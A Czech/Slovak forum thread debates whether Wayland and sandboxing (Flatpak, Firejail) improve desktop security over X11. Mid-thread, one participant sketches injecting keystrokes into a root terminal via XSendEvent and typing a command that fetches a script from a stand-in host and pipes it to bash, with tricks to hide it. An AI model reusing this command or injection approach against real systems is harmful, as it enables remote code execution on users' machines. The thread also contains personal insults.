Konec koncu, ze se to na X11 rozbiji a na Waylandu funguje spravne si muzes vyzkouset sam, staci nainstalovat GNOME :-)
3. Specifikaci jsem cetl, ale dekuji za starost :-)
> 3. Specifikaci jsem cetl, ale dekuji za starost :-)
Preco sa potom tvoja fantazia tak smutne odlysuje od reality? Ono totiz, to co popisujes ty je Wayland aky by byt mal, Wayland aky je neustale slubovany v clankoch od ludi okolo neho. Asi sme citali tie iste.
Wayland aky je v specifikacii funguje dost inak. Obzvlast pokial ide o xdg-popup a veci okolo neho.
> Jak jsi z toho vyvodil, ze Wayalnd podporuje klavesove zkratky, to me fakt zajima :-)
Citujem:
"""
Wayland:
Klavesove zkratky funguji, protoze nic jako XGrabKeyboard zde neni a neni potreba takoveho hacku, jelikoz Wayland ma tyto veci pro popup okna osetreny.
"""
Ze by schyza?
Mimochodom, Wayland ma protokol, ktorym kompozitor klientovy odovzda cele fd na vstupne zariadenie. Az sa toto zacne pouzivat, budes este nostalgicky spominat na bezproblemovy XGrabKeyboard :)
> Preco sa potom tvoja fantazia tak smutne odlysuje od reality? Ono totiz, to co popisujes ty je Wayland aky by byt mal, Wayland aky je neustale slubovany v clankoch od ludi okolo neho. Asi sme citali tie iste.
Co konkretne? Tohle je jen obecny rant, o kterem se neda diskutovat.
Ja jsem popisoval svoji realnou zkusenost s kazdodennim pouzivanim GNOME 3.24 nad Waylandem a popisoval mnohe navrhove vyhody Waylandu oproti X11. Nikdo nerika,ze sw okolo Waylandu je dokonaly (a je potreba opravdu rozlisit konkretni implementace a samotny Wayland), pri experimentech s IVI jsem si sice taky par neprijemnosti zazil diky implementaci, ale nic hrozneho.
> Wayland aky je v specifikacii funguje dost inak. Obzvlast pokial ide o xdg-popup a veci okolo neho.
xdg-popup je stable AFAIK cca 2 mesice, u unstable interface se asi daji ocekavat nejake zmeny. Pokud mas ale pocit, ze neco funguje zle v nejake konkretni implementaci tohoto rozhrani, posli bugreport, vyvojari to jiste oceni.
> Ze by schyza?
Spise problem s chapanim psaneho textu v kontextu. Psal jsem, ze klavesove zkratky funguji (coz je otazkou celeho DE), nikoliv ze Wayland jako protokol obsahuje podporu pro klavesove zkratky (coz opravdu neni potreba pro to ,aby klavesove zkratky v Waylandove session fungovaly spravne). Pokud te zmatl nadpis Wayland, tak si ho nahrad za GNOME 3.24 s compositorem Mutter vyuzivajici Wayland (coz je konfigurace, o ktere tu pisu celou dobu):-)
> Mimochodom, Wayland ma protokol, ktorym kompozitor klientovy odovzda cele fd na vstupne zariadenie. Az sa toto zacne pouzivat, budes este nostalgicky spominat na bezproblemovy XGrabKeyboard :)
Pravdepodobne mas na mysli inputfd, coz je:
a) pripravovany interface (oznaceny jako unstable), posledni vec, co jsem kolem toho videl byl pozadavek na komentare
b) interface urceny pro gaming zarizeni jako jsou Joysticky, VR apod.
Architektura je zde namyslena tak, ze libinput zustane u core zarizeni (klavesnice, mysi, ...), nebude ale implementovat specialni podporu pro specialni zarizeni (jako jsou napr. gamepady), coz je dle meho nazoru spravne rozhodnuti.
Souvislost s XGrabKeyboard je nulova.
Toz som teda priznal moznost, ze som ja ten sprosty a pustil Gnome, ciste pre pripad, ze by na tom grabe v poslednej dobe nieco zmenili. Otvoril dve okna, dal pravy klik na jedno z nich, vyskocilo menu a vsetky klavesove skratky prestali fungovat. A alt-tab prepinal polozky v menu.
Veru, veru, vskutku velmi prekvapujuce. Kto by to len bol cakal.
--
Bud od tej lasky, zbal si tu svoju "realnu skusenost" a chod robit vola z niekoho ineho. Mne uz nestojis ani za ten rant.
Nevim, co jsi pustil a zkousel, ja delal pokus uplne jednoduchy - otevrel popup menu pravym tlacitkem v gnome-terminal (nativni Wayland aplikace) na GNOME 3.24 (GTK 3.22.17, posledni v Arch Linux).
<super> + l - Wayland: lockne obrazovku (jak ma), X11: neudela nic
Zkusil jsem ted pro zmenu i ten alt+tab, menu zmizelo a prepnulo to aplikaci. Nevim, na cem to zkousis ty, muze to byt cokoliv od stare verze po bug, vsak zaloz klidne na freedesktop.org bugreport s patricnymi technickymi detaily, at na to vyvojari muzou podivat a bud opravit, nebo zamitnout :)
A overil sis vubec, zda ti to bezi na Waylandu ?:-) Protoze pokud mas 2 GPU, tak se ti automaticky v GNOME aktivuje fallback na Xorg (z duvodu ktere jsem tu uz psal, jedna z nedoresenych veci v Waylandu v GNOME, pry ma byt vyresena v pristi verzi).
U X11 může každá aplikace číst zprávy (stisky kláves, pohyby a kliky myší) proudící celým X serverem, bez ohledu na kontext, ve kterém ta aplikace běží. Těžko mluvit o bezpečnosti, když nemáte oddělené ani procesy běžící pod různými účty. Wayland moc neznám, ale pokud vím, tak tenhle problém řeší. Mimochodem řeší ho i Win32.
Ad Pointou je neinstalovat do systemu piskvorky, ak si nie som isty ze v nich nieje keylogger - byly doby, kdy se předpokládalo, že cokoliv může přihlášený uživatel, to může i každá aplikace, kterou ten uživatel spustí. Ty jsou ale dávno pryč. Když vám totiž útočník prostřelí třeba browser nebo piškvorky, tak může posílat klávesy té admin utilitě běžící pod adminem, nebo se chovat jako keylogger.
Kdybychom měli vždycky jistotu, že aplikace neprovádějí nepravosti (ať už záměrně nebo v důsledku bezpečnostní chyby), tak by samozřejmě bylo na světě lépe. V praxi ale bohužel tuhle jistotu většinou nemáte. Jenom takový Google Chrome měl minulý rok 172 vulnerabilities.
Mimochodem pokud mám parafrázovat co jste napsal, tak absence oddělení procesů (řekněme jako v DOSu) je vlastně v pohodě, protože stačí neinstalovat aplikace, které hrabou mimo vlastní paměť :)
> Wayland moc neznám, ale pokud vím, tak tenhle problém řeší.
To nieje celkom pravda. Wayland nic neriesi, len nedefinuje ziaden protokol, ktory by to priamo umoznoval. To, ze je mozne klavesy a mys odchytavat desiatimi inymi sposobmi sa taktne prehliada.
> Mimochodem řeší ho i Win32.
Vo Windowse som schopny jak sledovat tak aj emulovat klavesy priamo cez winapi. Jedine, co je odklonene su okna UAC.
> Ty jsou ale dávno pryč. Když vám totiž útočník prostřelí třeba browser nebo piškvorky, tak může posílat klávesy té admin utilitě běžící pod adminem, nebo se chovat jako keylogger.
Ale toto nieje problem, ktory sa sa riesit okyptenym protokolu. Nejak si totiz neviem predstavit, ze si da utocnik tu namahu prestrelovat browser, len aby sa potom zastavil, pretoze nemoze posielat klavesy do cudzieho okna.
Ona je totiz cela ta predstava uplna blbost - je to zufalo napadne a ked uz bezim s pravami browseru, viem skodit podstatne zaujimavejsie.
Na druhej strane taketo obmedzenia iba otravuju uzivatelov a davaju im dobru zamienku k navratu k "staremu a osvedcenemu", kde vedia napriklad na 2 kliky poslat do pidginu screenshot.
> To nieje celkom pravda. Wayland nic neriesi, len nedefinuje ziaden protokol, ktory by to priamo umoznoval. To, ze je mozne klavesy a mys odchytavat desiatimi inymi sposobmi sa taktne prehliada.
A kterymi? Zatim jsi tu zadny nenapsal, co by skutecne fungoval - nejblize jsi byl s uinput, ke kteremu uzivatel standardne nema pristup. Samozrejme, bavme se o sandboxove aplikaci, ktera nema pristup k $HOME :-)
Wayland tu resi presne to, co resit ma - neumoznuje to na urovni protokolu (na urovni X11, kde jsou pak na tohle potreba hacky).
A i bez sandboxu tech moznosti moc mit nebudes, pokud se budeme bavit o aplikacich bezicich pod jinym uzivatelem (napr. root) - tam se ti zadne LD_PRELOAD nepodari, k inputu se primo tez nedostanes. Takze jedine, co by jsi mohl udelat je zobrazit podobne okno k zadani hesla a ziskat root login takto. Coz je neidealni a vyzaduje reseni, ale porad je to 1000x lepsi situace nez s X11, kde si muzu delat co chci s cim chci.
Samozrejme, pokud kompromituji browser, tak mi to otevira cestu k utokum pres ten browser - ale zase od toho mame sandboxing aplikaci a neni problem napr. mit jeden sandbox pro duveryhodne weby (banka, datova schranka, ....) a jiny pro neduveryhodny web :)
> Ale toto nieje problem, ktory sa sa riesit okyptenym protokolu. Nejak si totiz neviem predstavit, ze si da utocnik tu namahu prestrelovat browser, len aby sa potom zastavil, pretoze nemoze posielat klavesy do cudzieho okna.
No tak schvalne, jaky dalsi attack vector zvolis v situaci se sandboxem viz vyse?
Ad pres ten browser, ale zase od toho mame sandboxing aplikaci - jenom doplním, že MSIE a Egde běží v sandboxu. Od nějaké verze podporuje nějakou formu sandboxingu i Firefox a Chrome. Vypadá to tak, že vlastní brouzdání webu běží v procesech s nízkými právy, a tyhle procesy jsou spravované dalším procesem, který umí věci jako ukládání souborů na disk (protože bez toho nelze stahovat) atd. Jinými slovy pokud HTML engine, skript nebo plugin převezme kontrolu nad příslušným procesem, tak má díky sandboxu dále velmi omezená práva, a musí z toho sandboxu nejprve utéct. Není to magic bullet, ale rozhodně je to lepší, než situace bez sandboxu.
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/
Wayland k tomu není nutný, ale pokud jedete pod X11, tak po prostřelení správné části browseru (na X11 dost možná stačí ten sandboxovaný proces) pořád máte z prohlížečky webu keylogger a podvrhovač příkazů. Oddělení window messages je obdobou oddělení procesů, a X11 prostě z hlediska window events spojuje všechny procesy, které používají daný server. Jestli vám to nepřipadá jako problém, tak mě ano.
> pořád máte z prohlížečky webu keylogger a podvrhovač příkazů.
Ani na jedno ani na druhe nepotrebujem X11...
A ked uz sme u toho, keby toto skutocne bol rieseny problem, zakazat sanboxovanemu klientovy pouzit XTest a volat XSelectInput celkovo, alebo len na cudzie okna by bolo podstatne jednoduchsie riesenie.
Ad Vo Windowse som schopny jak sledovat tak aj emulovat klavesy priamo cez winapi. Jedine, co je odklonene su okna UAC. - ale kdepak. Můžete sice posílat window messages jiným procesům, ale funguje to jen mezi procesy se stejným nebo nižším integrity levelem. Takže ani kalkulačce puštěné pod adminem žádnou window message nepodvrhnete.
Ad taketo obmedzenia iba otravuju uzivatelov a davaju im dobru zamienku k navratu k "staremu a osvedcenemu" - to je přesně důvod, proč ve Window mohou Win32 aplikace dál posílat window messages mezi sebou, pokud nenastoupí omezení integrity levelem. Nové aplikace nemůžou posílat odposlouchávat ani podvrhovat window messages pokud vím vůbec. Místo toho používají DataTransferManager, kde se aplikace musí explicitně dohodnout co chtějí posílat resp. přijímat.
A to je zaroven dovod, preco Win32 uvidite este minimalne tak dlho, ako my budeme mat X11. Napokon, Microsoft uz par systemov bez Win32 vydal a uspech medzi ludmi 2x velky nezozal :D
Inak ale toto fakt riesi maximalne marginalny problem. Co presne viem posielanim klaves do ineho okna dosiahnut? Bude moj kod len ticho cakat, dufat, ze sa niekde na ploche zazrakom objavi okno rootovskeho terminalu skor, ako uzivatel zavrie browser? Ako to okno vobec spozna? Rootovsky terminal nieje xterm pusteny ako root, je to jedno z mnoha okien procesu (nieco-)Terminal v ktorom zrovna len nahodou bezi sudo...
A to este neriesim co by sa do toho terminalu vobec malo pisat...
Ad Win32 uvidite este minimalne tak dlho, ako my budeme mat X11 - proč ne? Win32 funguje, a dá se čekat, že Win32 aplikace pojedou ještě minimálně za 10 let, i když asi v sandboxu.
Ad Ako to okno vobec spozna - přes XQueryTree projdete okna, přes XFetchName získáte názvy oken, přes XSelectInput nastavíte které události chcete přijímat. Přes XSendEvent pak můžete oknu posílat cokoliv uznáte za vhodné.
https://gist.github.com/robertklep/5124355
http://www.doctort.org/adam/nerd-notes/x11-fake-keypress-event.html
Ad co by sa do toho terminalu vobec malo pisat - třeba " sudo wget -O - http://foo.bar/bad_script > bash ; clear"? Osobně bych počkal, až na klávesnici pár minut nebude vstup. Když příkaz vyjde, tak vyjde. Když ne, tak se nic až tak zvláštního neděje.
XSendEvent oznacuje event ako "poslany cez send_event", terminal emulator take samozrejme ignoruje. To je napokon i dovod, preco s nimi nefunguje napr. xdotool.
Rozumnejsie by bolo pouzit XTest extension, ale ta nemusi byt povolena. Na masine, kde prave sedim (Manjaro bez vacsich uprav) nieje, nie som si ale isty ako je to u inych distier.
Z XFetchName netusim, ci okno do ktoreho pisem je terminal roota, terminal uzivatela, jeho menu, ikonka... Ako, viem si predstavit komplikovanejsi kod, ktory by mal aspon daku sancu trafit sa, ale...
> Když příkaz vyjde, tak vyjde. Když ne, tak se nic až tak zvláštního neděje.
... riskujem ze sa uzivatel vrati k terminalu, kde je toto viditelne zapisane v nano. Vskutku velmo nenapadne :)
Ad XSendEvent oznacuje event ako "poslany cez send_event", terminal emulator take samozrejme ignoruje - dobře tak, ale jak sám píšete, tak existují jiné cesty
Ad viem si predstavit komplikovanejsi kod, ktory by mal aspon daku sancu trafit sa - je dobré si uvědomit, že pokud se útočníkovi podaří spustit kód na větším množství desktopů, tak nepotřebuje 100% úspěšnost.
Ad riskujem ze sa uzivatel vrati k terminalu, kde je toto viditelne zapisane v nano - pak se to prostě nepovedlo :). Nicméně není problém nejprve poslat nejprve ctrl+z, a na konci dát fb. Pokud tohle není dost dobrý trik, tak se určitě najde jiný.
> dobře tak, ale jak sám píšete, tak existují jiné cesty
Ale tie ine cesty budu rovnako dobre fungovat i s Waylandom, respektive ak ich sandbox blokuje, blokuje ich nezavysle na display protokole. V tomto Wayland fakt ziadnu "bezpecnost" nepridal.
> je dobré si uvědomit, že pokud se útočníkovi podaří spustit kód na větším množství desktopů, tak nepotřebuje 100% úspěšnost.'
Ale pri vsetkych moznych kombinaciach pouziteho terminal emulatoru a X11 okien, ktore moze vyvolat (v X11 je, aspon teoreticky, kazdy UI element samostatne okno), bude takymto sposobom rad za 10% uspesnost u jedneho distra. Dokonca i distrubuovat GTA.V.ONLINE.CRACKED.deb by mu dalo lepsie sance.
> Nicméně není problém nejprve poslat nejprve ctrl+z, a na konci dát fb.
Je. ^Z nefunguje ani v tom nane :) Vlastne ma napada jediny textovy editor, kde ^Z funguje a aj to len z command modu :D
Plus teda, ak si takyto prikaz najde v editore, alebo hoc aj v scrollbacku niekto s pribliznou predstavou, co by jeho PC v nepritomnosti uzivatela malo robit - a priznajme si, tato sanca je pri Linuxovych uzivateloch predsalen dost nechutne vysoka - Vasa domena "foo.bar" moze byt dole skor, nez stihnete povedat "mal som 200 masin v botnete".
--
A pritom je tolko krasnych, <i>nenapadnych</i> sposobov, jak "dostat" Linuxovy desktop :)
Čistě teoreticky by to snad šlo. Pokud se pamatuji, princip Waylandu je, že každé okno je samostatný virtuální framebuffer, kterému na úrovni jádra odpovídá samostatný kernelový objekt, se kterým se dá manipulovat přes fd jako s každým jiným objektem. Když na tom budu mermomocí trvat, tak snad můžu změnit práva a předat ten fd jinému procesu, ať si ho taky namapuje, ne? Ostatně předpokládám, že takhle nějak asi funguje kompositor?
> takze bezpecnost je pak na slusne urovni.
A pouzitelnost na nulovej.
A neochrani pred nicim, rovnako ako Wayland. Ja si ako programator zakerneho kodu samozrejme vyziadam pristup do $HOME a uzivatel mi ho samozrejme da, pretoze za a), ludia su sprosty a za b), moj zakerny kod bude prezentovat legitimny dovod na to, aby s $HOME pracoval. Napriklad bude stahovat porno.
A s pristupom do $HOME mam vsetko co potrebujem.
To cele za predpokladu, ze mas pravo do flatpaku dostat sve GPG klice a pridat sve repository :-) Coz napr. na firemnim PC / laptopu normalni uzivatel zcela jiste mit nebude. A poweruser tohle jen tak neudela a naopak nekteri (jako ja) oceni, ze mohou potencialne velmi derave aplikace (email klient, prohlizec) poustet v sandboxu a tim snizi attack vector na stroj.
Resis totalni nesmysl.
> Aky poweuser, aky podnikovy laptop? Ked uzivatel nechce alebo nemoze spustat aplikacie 3 strany, je flatpack alebo wayland len celkom zbytocna vrstva chraniaca pred nicim.
Typicky use case teto situace je, ze uzivatel ma pouzivat aplikaci, ktera potencialne muze mit bezpecnostni problemy (prohlizec, emailovy klient, ...), ale chceme branit zbytek systemu a jeho data pred potencialnim exploitem v techto aplikacich. To je zcela realny use case. Nejak nevidim duvod, proc by prohlizec napr. mel mit pristup k mym SSH klicum, oknu Jabber klienta a podobne.
Taku aplikaciu mozes ale rovnako dobre odsanboxovat firejailom (ktory si pusta vnoreny X server), a bude to pravdepodobne bezpecnejsie ako dufat, ze nebude ziaden bezpecnostny problem v compositore.
A kedze uzivatel bude chciet prehliadacom stahova a mail klientom otvarat prilohy, skor ci neskor mu ten pristup do $HOME v oboch pripadoch povoli :)
> Taku aplikaciu mozes ale rovnako dobre odsanboxovat firejailom (ktory si pusta vnoreny X server), a bude to pravdepodobne bezpecnejsie ako dufat, ze nebude ziaden bezpecnostny problem v compositore.
Aneb proc pouzivat jednoduche, elegantni reseni, kdyz muzu pouzivat hack s vnorenym X11 serverem (se vsemi legacy nesmysly, ktere X11 ma a bezpecnostnich der muze mit firejail zrovnatak jako compositor).
> A kedze uzivatel bude chciet prehliadacom stahova a mail klientom otvarat prilohy, skor ci neskor mu ten pristup do $HOME v oboch pripadoch povoli :)
Trosku si dostuduj informace. Existuje moznost povolit pristup k urcitym slozkam, neni nutny pristup k celemu $HOME. A uzivatel nic povolovat pravdepodobne nebude, protoze politika je nastavena napr. v tom flatpaku. :)
Ale obecne se ti to nemusi libit, nicmene faktem je ten, ze Fedora uz na Waylandu defaultne je, Ubuntu bude tez, dalsi RHEL tez, vyvojari Xorgu sami nemaji moc chut Xorg nejak moc rozvijet, takze budoucnost je celkem jasna :)
> Aneb proc pouzivat jednoduche, elegantni reseni
Pretoze chces riesit konkretny problem, nie si pridat 1086 dalsich :D
> Trosku si dostuduj informace. Existuje moznost povolit pristup k urcitym slozkam, neni nutny pristup k celemu $HOME
Pre uzivatela browseru je. Pri mail klientovy by si mozno vystacil s Documents a Desktop, ale zas na druhej strane, naburat sandbox sa cez .desktop file na ploche je celkom realna moznost.
Bezpecnost v takychto situaciach znamena zabranit, za _kazdu_ cenu a so 100% istotou, pustaniu neovereneho kod v userspace. Cokolvek mensie je len naoko, dobre len pre falosny pocit bezpecia a do marketingoveho materialu. Ako cely flatpackovany Wayland :)
> Pretoze chces riesit konkretny problem, nie si pridat 1086 dalsich :D
Asi bys mel nabidnout sve sluzby RH, usetris jim jiste spoustu penez, protoze jsou samozrejme idioti a nevi, proc Wayland ci flatpak vyviji a proc uz nechteji dlouhodobe podporovat Xorg :-)
> Pre uzivatela browseru je. Pri mail klientovy by si mozno vystacil s Documents a Desktop, ale zas na druhej strane, naburat sandbox sa cez .desktop file na ploche je celkom realna moznost.
> Bezpecnost v takychto situaciach znamena zabranit, za _kazdu_ cenu a so 100% istotou, pustaniu neovereneho kod v userspace. Cokolvek mensie je len naoko, dobre len pre falosny pocit bezpecia a do marketingoveho materialu. Ako cely flatpackovany Wayland :)
Tve argumenty zcela zcestne - vicemene na urovni toho, ze jde udelat spatna bezpecnostni politika pro sandbox, tzn. na urovni toho, ze bezpecnost je spatna, protoze muzu dat heslo na uzivatele root admin :-)
A jak zajistis spusteni 100% overeneho kodu v userspace? Udelas audit celeho mail klienta? Prohlizece? Komunikatoru? Mas pak 100% jistotu, ze jsi odhalil vsechny bezpecnostni chyby ?
Ne. Prave proto ma smysl resit veci jako je sandbox :-)
Tvoje alternativa je to, ze se na to vykasleme, protoze to nejde, s timhle pristupem jsme mohli zustat u DOSu a jeho "permission" modelu :)
> Asi bys mel nabidnout sve sluzby RH, usetris jim jiste spoustu penez, protoze jsou samozrejme idioti a nevi, proc Wayland ci flatpak vyviji a proc uz nechteji dlouhodobe podporovat Xorg :-)
Obecne sa to pripiruje ich NIH syndromu.
> Tve argumenty zcela zcestne - vicemene na urovni toho, ze jde udelat spatna bezpecnostni politika pro sandbox, tzn. na urovni toho, ze bezpecnost je spatna, protoze muzu dat heslo na uzivatele root admin
Ty si zas bezpecnost zjavne predstavujes tak, ze ked sa na vec naplaca dostatok zaplat, pri troche stastia sa uz ziadna dalsia diera neobjavi.
> A jak zajistis spusteni 100% overeneho kodu v userspace? Udelas audit celeho mail klienta? Prohlizece? Komunikatoru?
Ano. To je snad uplne samozrejme, ked sa chcem zarucit za ich bezpecnost. Alebo ich vrazim do _skutocneho_ sandboxu, nie do niecoho, co vie zapisovat do uzivatelskych zloziek a navrh ma otvoreny socket rovno do jadra uzivatelskeho prostredia.
Seriozne, kto pricetny by toto pokladal za bezpecne?
> Tvoje alternativa je to, ze se na to vykasleme, protoze to nejde, s timhle pristupem jsme mohli zustat u DOSu a jeho "permission" modelu :)
Ale kludne. Je ovela lepsie pracovat s niecim nezabezpecenym a vediet o tom, nez pouzivat paskvil o ktorom niekto vykrikoval aky je bezpecny tak dlho, ze ma celkom zblbol.
> Obecne sa to pripiruje ich NIH syndromu.
Protoze to rika nejaky kozec ?:) Proc Xorg developeri rikaji, ze je X11 neudrzitelny?
Jak NIH syndrom resi vysvetluje vsechny problemy X11 (zastarala architektura, kde se vetsina veci nepouziva, neverzovani API/rozsireni, (ne)bezpecnostni model, ...)
> Ano. To je snad uplne samozrejme, ked sa chcem zarucit za ich bezpecnost. Alebo ich vrazim do _skutocneho_ sandboxu, nie do niecoho, co vie zapisovat do uzivatelskych zloziek a navrh ma otvoreny socket rovno do jadra uzivatelskeho prostredia.
Do uzivatelskych slozek ma pravo zapisu jen pokud mu ho nekdo nastavi v manifestu.
Co je pro tebe skutecny sandbox, oddeleni na urovni cgroups je malo sandboxovane (coz je jen jedna z mnoha prvku teto architektury) ? :-)
Ano, socket do compositoru ma - to uz ale plyne z toho, ze ma zobrazovat GUI - coz je vec, ktere se pri sandboxovani GUI aplikaci bohuzel vyhnout nejde :-) A vzdy nejaky takovy link existovat musi, pokud se ma neco zobrazit, aplikace ma dostavat input a podobne. Je to podobna situace jako i pri pouziti firejail s X11.
A vyhodou je zde samozrejme design Wayland protokolu, jeho jednoduchost, moznost omezeni pristupu k ruznym interfacum, obecne nedostupnost problematickych operaci jako v X11 atd.
Samozrejme, muze nastat situace kdy bude exploitelnutelna chyba v teto casti Wayland compositoru, ale porad povazuji za mnohem lepsi reseni ciste navrzeny protokol (ktery se navrhoval s temito pozadavky) nez hacky na X11.
> Ale kludne. Je ovela lepsie pracovat s niecim nezabezpecenym a vediet o tom, nez pouzivat paskvil o ktorom niekto vykrikoval aky je bezpecny tak dlho, ze ma celkom zblbol.
Opet, citation needed.
Zatim tve argumenty jsou jen, ze to jde spatne nakonfigurovat. Ano jde. A stejne tak jde spoustet X11 pod rootem nebo provozovat deravy kernel. Zadna bezpecnostni architektura nemuze uchranit privilegovaneho uzivatele pred spatnymi rozhodnutimi. Pokud ma byt napr. flatpack sandboxing bezpecny, musi byt spravne nakonfigurovan. A neni to samozrejme reseni vsech bezpecnostnich problemu, je to jen dalsi vrstva pro zlepseni bezpecnosti a zabraneni/ztizeni/omezeni nekterych druhu utoku (podobne treba jako SELinux na urovni jadra)
> Protoze to rika nejaky kozec ?:) Proc Xorg developeri rikaji, ze je X11 neudrzitelny?
Nie, ze by som sa nezabaval na tvojich pokusoch o ad hominem, ale tu by asi stalo za to pripomenut, ze to vravel JEDEN developer za X11. Cistou nahodou ten, co spatlal Wayland.
Vyvoj X11 pritom veselo pokracuje dalej, napokon, Wayland funguje len na jedinom z mnoha systemov, kde funguje X.
> Do uzivatelskych slozek ma pravo zapisu jen pokud mu ho nekdo nastavi v manifestu.
Ktory si samozrejme kazdy uzivatel pred instalaciou skontroluje, rovnako ako si kazdy pozera permissions na Androide :) Kolko krat si to uz urobil?
> A vyhodou je zde samozrejme design Wayland protokolu, jeho jednoduchost, moznost omezeni pristupu k ruznym interfacum, obecne nedostupnost problematickych operaci jako v X11 atd.
A ine veci, o ktorych si niekde cital a teraz ich papagajujes napriek tomu, ze vo Waylande vobec nie su.
Sorry, ale ty si ten protokol zjavne nikdy nevidel a mne sa nan uz nechce spominat. O tomto sa proste nebudeme bavit :D
> Nie, ze by som sa nezabaval na tvojich pokusoch o ad hominem, ale tu by asi stalo za to pripomenut, ze to vravel JEDEN developer za X11. Cistou nahodou ten, co spatlal Wayland.
A proc tedy je jeste porad na strankach Xorg toto, kdyz je X11 tak dobre navrzeny ?:-)
https://www.x.org/wiki/Development/X12/
A jestli myslis D. Stone - tak i kdyby to byl jediny developer, kdo se k tomu vyjadril (kdy se kdo z core developeru Xorg vyjadril, ze X11/Xorg ma dobrou architekturu, udrzitelnou bez vyznamnych zmen do budoucna?), tak to ma svuj vyznam, urcite vic nez co pise nejaky kozec na foru :-)
A jinak jeste k tomuto tematu treba vyjadreni J. Eishmanna:
https://www.root.cz/zpravicky/ubuntu-vaha-s-waylandem-pry-jeste-neni-dostatecne-stabilni/929636/
> Ktory si samozrejme kazdy uzivatel pred instalaciou skontroluje, rovnako ako si kazdy pozera permissions na Androide :) Kolko krat si to uz urobil?
Budes se divit, ale celkem bezne pri instalaci takovych aplikaci. Ale to uz je na kazdem uzivateli, resp. administratorovi, ktery podobne manifesty pripravi (coz je prave pripad enterprise prostredi, kde podobne veci maji nejvetsi vyznam).
>A ine veci, o ktorych si niekde cital a teraz ich papagajujes napriek tomu, ze vo Waylande vobec nie su.
> Sorry, ale ty si ten protokol zjavne nikdy nevidel a mne sa nan uz nechce spominat. O tomto sa proste nebudeme bavit :D
Evidentne neumis cist, napsal jsem MOZNOST. :) Wayland je diky systemu verzovanych rozhrani krasne rozsiritelna platforma :)
To je problem spatne implementace, ne Waylandu. Dulezite je, ze protokol to umoznuje a muze se to vyuzivat do budoucna.
Dalsi vyvoj je samozrejme potreba, protoze spousta veci jeste neni hotova. Treba kdyz vezmeme GNOME 3 / GTK 3 - tak napr. reverse prime podpora (mutter), odstraneni zavislosti na Xwayland pro input handling (opet mutter). Prace je jeste hodne, to ale nemeni nic na tom, ze je to mnohem lepsi zaklad do budoucna oproti X11.
"Nie, ze by som sa nezabaval na tvojich pokusoch o ad hominem, ale tu by asi stalo za to pripomenut, ze to vravel JEDEN developer za X11. Cistou nahodou ten, co spatlal Wayland."
U nás to říkají všichni, kteří se hrabou v grafických ovladačích, Xorg a Waylandu. Popravdě jsem ještě nepotkal vývojáře Xorgu, který by říkal: Vykašlete se na Wayland, Xorg nám bude dál sloužit dobře. A že jich pár znám.
Wayland je display protocol, neni nejmensi duvod, aby tohle resil. Ale aby sandboxing fungoval, tak samozrejme musi bezpecnost fungovat i na urovni display protocolu, protoze pokud si tam jakakoliv aplikace muze delat cokoliv s klavesnici, mysi, okny jinych aplikaci, tak jakakoliv izolace v sandboxu jde do haje.
Stale dokola cosi splietas o sanboxe, ako keby ho niekto realne planoval pouzivat :) Sandboxovana aplikacie je uzivatelovy zbytocna, pokial je to cokolvek zaujimavejsie nez daky budik.
Mimochodom, ja samozrejme viem hybat mysou a posielat vstupy z klavesnice aj Waylandu, robi sa to ale "naslepo" a uzivatel tak nema napriklad moznost nechat program aby klikol na konkretnu ikonu v okne.
Keby som pisal zakerny kod, tak si za 1. vystacim s klavesnicou a za 2. pre klikanie okno maximalizujem, aby som vedel odhadnut presnu polohu ikon. Teda to len za predpokladu, ze by som musel robit nieco tak viditelne.
Ja fakt neviem, kto ti nabulikal, ze ta Wayland nejakym sposobom chrani, ale bol to bud klamar alebo idiot.
> Stale dokola cosi splietas o sanboxe, ako keby ho niekto realne planoval pouzivat :) Sandboxovana aplikacie je uzivatelovy zbytocna, pokial je to cokolvek zaujimavejsie nez daky budik.
Treba kazdy uzivatel flatpaku. Na ChromeOS / Android / iOS to pouziva kazdy uzivatel. Je to samozrejme o tom, co se uzivateli nabidne. Pokud ma mit Linux na desktopu smysl i pro normalniho uzivatele (napr. ve firemnim prostredi), tak je fajn, kdyz dokaze nabidnout neco lepsiho (a tohle je jedna z takovych features).
A pokud to nechces pouzivat, nemusis, nikdo te nenuti.
> Mimochodom, ja samozrejme viem hybat mysou a posielat vstupy z klavesnice aj Waylandu, robi sa to ale "naslepo" a uzivatel tak nema napriklad moznost nechat program aby klikol na konkretnu ikonu v okne.
Citation needed. O zadne takove moznosti nevim.
Potvrzuje to i wayland mailing list:
https://lists.freedesktop.org/archives/wayland-devel/2014-July/015910.html
A nebo SO:
https://stackoverflow.com/questions/31051173/simulate-mouse-motion-on-linux-wayland
Metoda vyzaduje RW pristup k uinput, coz samozrejme normalni uzivatel nema.
> Treba kazdy uzivatel flatpaku.
Vsetci traja? :) Mimochodom, "sanboxovanie" flatpaku sa da obist jednoducho tym, ze si v manifeste vyziadam rw pristuo k domovskemu adresaru.
> Na ChromeOS / Android / iOS to pouziva kazdy uzivatel
Na desktope ale pouzivame trochu zaujimavejsie aplikacie nez to, co uzivatel typicky pouziva na ChromeOS / Android / iOS.
> Metoda vyzaduje RW pristup k uinput, coz samozrejme normalni uzivatel nema.
Co samozrejme normalny uzivatel ma, odkedy ho zacal pouzivat Steam a Ubuntia on-screen klavesnica :) V takom Archu ti dokonca kernel automaticky natiahne modul.
> Vsetci traja? :) Mimochodom, "sanboxovanie" flatpaku sa da obist jednoducho tym, ze si v manifeste vyziadam rw pristuo k domovskemu adresaru.
Vsichni velci vendori prosazuji nejakou formu sandboxingu, vazne si myslis, ze to delaji kvuli 3 uzivatelum ?:-)
A pointa toho celeho je, ze manifest je spravne. Je to argument jako ve stylu, ze kdyz uzivatel muze udelat su root, tak ze nema cenu pouzivat jineho uzivatele nez root a rovnou vse muze bezet pod plnymi access rights.
> Co samozrejme normalny uzivatel ma, odkedy ho zacal pouzivat Steam a Ubuntia on-screen klavesnica :) V takom Archu ti dokonca kernel automaticky natiahne modul.
Default v Archu:
crw-rw----+ 1 root root 10, 223 5. srp 18.50 /dev/uinput
Kolik % uzivatelu ma Steam Controller ? 0.01% uzivatelu ? Vazne si myslis, ze kvuli tomu nekdo bude prizpusobovat bezpecnostni architekturu systemu? Navic, pokud se bavime o sandboxu, tak tam opet pristup nebude, pokud nebude explicitne povoleny :-)
> Vsichni velci vendori prosazuji nejakou formu sandboxingu
Menuj troch.
> Kolik % uzivatelu ma Steam Controller
Pisem Steam, nie Steam Controller.
> Default v Archu:
[tom@silver ~]$ ls -l /dev/uinput
ls: cannot access '/dev/uinput': No such file or directory
[tom@silver ~]$ lsmod |grep uinput
